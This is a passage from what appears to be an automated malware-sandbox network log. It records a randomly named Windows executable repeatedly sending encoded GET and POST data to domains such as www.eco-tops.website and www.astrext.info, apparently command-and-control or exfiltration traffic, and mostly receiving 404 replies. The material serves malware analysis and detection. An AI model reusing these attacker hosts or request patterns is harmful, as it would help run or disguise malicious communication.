4a 30 33 6a 4e 6b 46 71 31 4f 77 65 57 31 4a 66 4b 30 36 32 43 71 75 50 31 62 53 47 49 57 63 52 69 30 55 69 4d 59 66 2b 43 43 37 63 6c 66 4f 70 79 36 54 6c 7a 53 4d 5a 53 6f 51 67 66 65 6f 6b 52 77 2b 77 5a 72 6e 72 69 75 6d 7a 59 35 74 66 44 62 34 61 58 6d 35 51 77 47 37 45 75 70 4d 6f 35 53 37 39 31 45 37 63 38 2f 67 51 59 71 41 78 49 71 7a 63 30 66 75 44 4a 65 45 36 79 6c 4f 62 6b 57 44 2b 47 6d 77 68 44 4a 54 63 50 46 4f 55 [TRUNCATED] Data Ascii: UTJ0bhC=nkKelaCdXUds+L88vzb0xLhoOC1uO+yAI9itn+lFfqst5cdwBW2Sd0voMn65du2t6udrkhnF4UYh6o1bzRPZjPFvkL/5wckXgh0N6Qy6e+PqVnbUQ7StQjOYAqrgtBqTFlkyNPCJpO1d/rxikDwxvffCsF3zRzKpGPBvAqPS18AOMInRffENhsb6DZJ03jNkFq1OweW1JfK062CquP1bSGIWcRi0UiMYf+CC7clfOpy6TlzSMZSoQgfeokRw+wZrnriumzY5tfDb4aXm5QwG7EupMo5S791E7c8/gQYqAxIqzc0fuDJeE6ylObkWD+GmwhDJTcPFOUzwAeZkIGkNDs9B/MKvrklo9kKujWKXVjhnST8EGGmuUOmw0lX3HC/Uu+8emD11wQbBcQGc+abMXkfjEKTli+cmuDYt03ECA0KAegype5WbSHRJAbRVp37BOjVhLbRftG7nTOXsd9a3DC/JEQRc8ZFtxFlzcs+AwvYDfk4KYvdMLIjzmk6Pmj/aLt6YROLxyjGLTCfGYHxha7iH7tFwdWV4o83HNWP4kSZd/ba8B95SjpnLuRGj/KJxw2HCXtZVTdn4hhBSA95LIVAO9cd8FYnK/FY5kHYTkbw9SWV7qwagoqohcAC0NkzONgK6u6I5pNMK4UKIDcK6KNCPiaH8F0yZFeG0lw0TmBpUrrHJq2AYfgY88O1MBXguwDe61jVwq2RY3qSBGCII9ENlM2TKkDMdZjiw4vgr2BUJyOAeDN6YBzNPvpDLCEGnrpNFZOPUr0g+KIYdbAVYV+9sZ6dGBGe6weYKX1bJid1z5lCTr13GwgzqOALgi5Bnr1VPqRk8wwxrRIiQOaD5VWXa1qZUpYJGvjzk63egS37q9ya7o7goseaTzbmkCsSr9usrBT6lNzJyowt8nb2iTwLt21SDWvMeY27rbvnChBiZz+3JNDl0XJcr1j6fX7nVQfRiBJDqqmccpSTtqVRoMYnN+LanMeBJbPRUUQsuleA9 [TRUNCATED]
Dec 10, 2024 16:24:06.935085058 CET	249	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Tue, 10 Dec 2024 15:24:13 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: 3.2.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49816	180.178.39.236	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:08.087457895 CET	530	OUT	GET /tizt/?UTJ0bhC=qmi+mqOOYFdY+IQEwG2FxqFWHTg0Nvqmcf68l9cfSo4s6etqUFq9dTq1GSeGSZSg4PJsoSCL3HUy+ahRuGvxg8Ma1a6j66cDsm0o40uJcJz1cVDMGreiQH32Lp7znSrnRg==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.73613.shop Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:24:09.611648083 CET	249	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Tue, 10 Dec 2024 15:24:16 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: 3.2.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49833	203.161.49.193	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:15.241458893 CET	797	OUT	POST /n54u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.eco-tops.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.eco-tops.website Referer: http://www.eco-tops.website/n54u/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 6e 74 5a 73 33 6d 52 5a 37 57 5a 53 72 32 4e 2b 4e 77 4d 71 45 63 4f 6f 2b 6e 42 68 71 4a 44 39 50 47 68 6b 6c 59 71 43 2b 32 34 65 48 6d 4e 53 34 5a 56 6e 55 69 7a 51 6c 2f 49 47 64 4e 66 34 73 75 57 30 4e 75 52 6b 4c 71 41 55 72 57 64 42 67 42 2f 6c 49 67 75 64 77 58 6b 59 59 37 6b 54 4d 6b 4a 6e 51 77 54 2b 79 64 71 61 59 6e 61 7a 44 53 66 57 6d 30 46 6e 7a 62 4f 35 50 74 33 6a 62 39 68 62 43 64 61 38 71 57 41 36 2f 69 66 43 53 6b 2b 47 33 69 79 79 6b 37 2b 41 2f 78 48 56 54 71 58 48 58 45 77 52 44 38 31 66 2b 5a 41 67 37 33 79 53 42 68 4a 47 73 36 36 32 56 51 6d 6a 50 73 70 30 4a 73 3d Data Ascii: UTJ0bhC=jntZs3mRZ7WZSr2N+NwMqEcOo+nBhqJD9PGhklYqC+24eHmNS4ZVnUizQl/IGdNf4suW0NuRkLqAUrWdBgB/lIgudwXkYY7kTMkJnQwT+ydqaYnazDSfWm0FnzbO5Pt3jb9hbCda8qWA6/ifCSk+G3iyyk7+A/xHVTqXHXEwRD81f+ZAg73ySBhJGs662VQmjPsp0Js=
Dec 10, 2024 16:24:16.446311951 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:24:16 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49839	203.161.49.193	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:17.907798052 CET	817	OUT	POST /n54u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.eco-tops.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.eco-tops.website Referer: http://www.eco-tops.website/n54u/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 6e 74 5a 73 33 6d 52 5a 37 57 5a 51 4a 69 4e 38 71 73 4d 69 45 63 4e 31 4f 6e 42 76 4b 4a 48 39 50 4b 68 6b 6e 6f 41 44 4c 6d 34 66 69 61 4e 54 38 4e 56 6d 55 69 7a 49 56 2f 52 4c 39 4e 45 34 73 54 6c 30 4d 53 52 6b 4c 4f 41 55 72 6d 64 42 54 70 34 6b 59 67 73 4a 41 58 6d 48 49 37 6b 54 4d 6b 4a 6e 51 30 31 2b 79 46 71 62 72 50 61 7a 69 53 63 58 6d 30 45 78 6a 62 4f 75 66 73 66 6a 62 39 44 62 44 52 67 38 73 53 41 36 37 6d 66 43 44 6b 39 50 33 69 4f 73 55 37 75 49 64 6c 4d 53 7a 65 45 49 31 55 78 4a 69 55 51 54 6f 6f 71 36 5a 2f 61 42 68 4e 78 57 2f 79 4e 6e 6c 78 50 35 73 38 5a 71 65 35 59 66 46 49 38 36 66 6a 42 41 55 67 31 7a 4b 49 61 54 49 6b 35 Data Ascii: UTJ0bhC=jntZs3mRZ7WZQJiN8qsMiEcN1OnBvKJH9PKhknoADLm4fiaNT8NVmUizIV/RL9NE4sTl0MSRkLOAUrmdBTp4kYgsJAXmHI7kTMkJnQ01+yFqbrPaziScXm0ExjbOufsfjb9DbDRg8sSA67mfCDk9P3iOsU7uIdlMSzeEI1UxJiUQTooq6Z/aBhNxW/yNnlxP5s8Zqe5YfFI86fjBAUg1zKIaTIk5
Dec 10, 2024 16:24:19.126084089 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:24:18 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49845	203.161.49.193	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:20.560628891 CET	1834	OUT	POST /n54u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.eco-tops.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.eco-tops.website Referer: http://www.eco-tops.website/n54u/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 6e 74 5a 73 33 6d 52 5a 37 57 5a 51 4a 69 4e 38 71 73 4d 69 45 63 4e 31 4f 6e 42 76 4b 4a 48 39 50 4b 68 6b 6e 6f 41 44 4c 75 34 66 55 4f 4e 53 65 6c 56 38 55 69 7a 57 6c 2f 55 4c 39 4e 4a 34 73 36 4e 30 4d 65 42 6b 4a 6d 41 56 4b 47 64 4a 43 70 34 39 49 67 73 4c 41 58 72 59 59 36 77 54 4d 30 46 6e 51 6b 31 2b 79 46 71 62 74 7a 61 30 7a 53 63 56 6d 30 46 6e 7a 62 43 35 50 74 79 6a 61 55 2b 62 44 55 64 2f 63 79 41 35 62 32 66 52 42 63 39 41 33 69 32 74 55 36 78 49 64 34 55 53 7a 79 32 49 30 68 57 4a 68 45 51 58 39 64 72 39 35 7a 68 51 77 6c 68 5a 73 6d 71 39 44 35 53 78 4d 6b 68 6a 2f 41 38 51 6b 55 43 78 59 33 73 46 6e 74 2b 68 4f 41 4a 65 49 4a 45 6e 62 66 70 57 5a 74 46 70 57 77 59 74 34 6f 77 41 58 56 73 74 78 76 4b 6b 31 6b 79 74 48 36 61 79 61 41 73 6c 34 6d 42 4c 6a 33 67 51 4e 6a 31 38 2f 47 68 61 77 6e 32 44 61 30 77 76 79 58 39 48 44 64 32 72 4f 31 2f 39 6d 4a 38 66 77 67 6f 79 59 66 6f 37 64 78 45 57 4e 41 38 61 2f 6d 7a 79 4f 6b 52 58 6d 6d 38 71 44 6d 68 5a 6b [TRUNCATED] Data Ascii: UTJ0bhC=jntZs3mRZ7WZQJiN8qsMiEcN1OnBvKJH9PKhknoADLu4fUONSelV8UizWl/UL9NJ4s6N0MeBkJmAVKGdJCp49IgsLAXrYY6wTM0FnQk1+yFqbtza0zScVm0FnzbC5PtyjaU+bDUd/cyA5b2fRBc9A3i2tU6xId4USzy2I0hWJhEQX9dr95zhQwlhZsmq9D5SxMkhj/A8QkUCxY3sFnt+hOAJeIJEnbfpWZtFpWwYt4owAXVstxvKk1kytH6ayaAsl4mBLj3gQNj18/Ghawn2Da0wvyX9HDd2rO1/9mJ8fwgoyYfo7dxEWNA8a/mzyOkRXmm8qDmhZkfhfcfa1D18TAGRTCEOVXPqSsLeXGob/t4AX0wLebaqjOSODYfzK2kSN6dgf8jggY1jIp/3iZiDX9Mf2Tqc6b+Af4LjXhBGX10kbs9OAR9eYIrLFjEd2TppXkKsMmMtTUs5i+tucWjWeudoWjOAz8T2Al86PLrmrhdMagWuEkv3bieNK0IFqNm2dxtl6e+EgjlpJ06jqFWBhES/8ELC9wuc1r9gmLtSXuJ1QDS42C9BmIPexRUpQeRNXPfCwsKIM/mkebj8TG6tA8gUPXMV49NT0fQbV++2Bl0E3qZQq9W3f0jXbhQAZkEjJNHGVqFFAstfsO2w+zFse8iZo1uXuz1xMsazN8CEPxMHjhBGCZHT+/YscMWQmAKzR1yMNFNk4wgfOMeI4IthQKjkEGaLmLWsgMpBgHaZVOP3ouK5m7xTbmRuanPivMxaN87qlf2J57u/RtRtOabjCA67zlt3uonr+hXvRfW+XSuHzdv8eIkoucQnZVL/NghnmvuJHYBkdkPBla1yeQ2ZQND4PasCCOrx04WZy2RIeSQNlBOE1sakhbcwhy57/3n/sIlG1byE+R37MkrZJZ/imk3C22VcROY5EFeOizZVueuPr+JKaVcxQ3ObaUj3jgJiqFO3oUSOunrOwibcy4F0My0oLCXd0xckg32bHlamDMhD [TRUNCATED]
Dec 10, 2024 16:24:21.845319033 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:24:21 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49854	203.161.49.193	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:23.212694883 CET	536	OUT	GET /n54u/?UTJ0bhC=ulF5vHaDZay2YbeuiqBK2WYi+52Jh6JWqdjuqGF6KuylXEStCuZI2HnnajvzLLcIwfuU3NLav5OgU7G/d2tti5seczbyW8/HcZoVhAsi6mpRcK6hsQ2VCyFx3Djg7K8V+w==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.eco-tops.website Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:24:24.436480999 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:24:24 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49872	217.160.0.132	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:30.634263039 CET	785	OUT	POST /8u3q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.astrext.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.astrext.info Referer: http://www.astrext.info/8u3q/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 52 6b 51 4f 59 45 6a 6f 78 56 49 74 4b 34 68 6c 63 31 4d 59 33 70 4d 52 33 6d 63 47 62 7a 6e 34 77 69 73 72 64 79 78 4c 34 31 63 44 72 67 49 4a 39 6a 73 4a 53 71 34 50 2f 75 69 4b 64 69 6c 76 44 71 48 54 55 5a 41 57 4b 2f 70 50 4a 33 76 49 38 6b 66 36 43 69 7a 66 6e 32 31 53 76 62 66 30 30 38 47 52 5a 53 6c 76 4f 30 56 41 71 75 6d 71 38 70 45 72 39 50 74 58 33 33 4a 57 51 2b 34 37 6b 42 6a 42 6e 49 62 37 41 2b 67 6e 45 6d 4c 6e 31 30 65 39 4e 77 73 56 37 7a 6c 6e 4b 4f 38 6e 4a 31 33 2f 38 74 36 53 72 70 56 7a 33 76 4e 49 50 75 42 4b 71 58 2f 54 65 38 71 56 72 6f 67 6b 79 2f 39 69 58 50 4d 3d Data Ascii: UTJ0bhC=RkQOYEjoxVItK4hlc1MY3pMR3mcGbzn4wisrdyxL41cDrgIJ9jsJSq4P/uiKdilvDqHTUZAWK/pPJ3vI8kf6Cizfn21Svbf008GRZSlvO0VAqumq8pEr9PtX33JWQ+47kBjBnIb7A+gnEmLn10e9NwsV7zlnKO8nJ13/8t6SrpVz3vNIPuBKqX/Te8qVrogky/9iXPM=
Dec 10, 2024 16:24:31.924860001 CET	780	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 10 Dec 2024 15:24:31 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED] Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49878	217.160.0.132	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:33.295638084 CET	805	OUT	POST /8u3q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.astrext.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.astrext.info Referer: http://www.astrext.info/8u3q/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 52 6b 51 4f 59 45 6a 6f 78 56 49 74 4c 62 35 6c 62 6d 6b 59 38 70 4d 4f 72 32 63 47 52 54 6e 30 77 6a 51 72 64 33 55 57 34 47 34 44 6f 42 34 4a 76 57 41 4a 52 71 34 50 71 65 6a 41 54 43 6c 34 44 71 61 73 55 63 34 57 4b 2f 39 50 4a 32 66 49 2f 54 72 35 59 53 7a 64 38 6d 31 63 73 72 66 30 30 38 47 52 5a 53 68 56 4f 30 4e 41 71 65 57 71 6d 4d 77 30 68 66 74 55 6e 48 4a 57 55 2b 34 33 6b 42 69 6b 6e 4d 61 73 41 39 59 6e 45 6e 37 6e 31 6c 65 36 65 51 73 62 30 54 6b 7a 4c 4d 68 54 41 55 58 6b 6a 4f 58 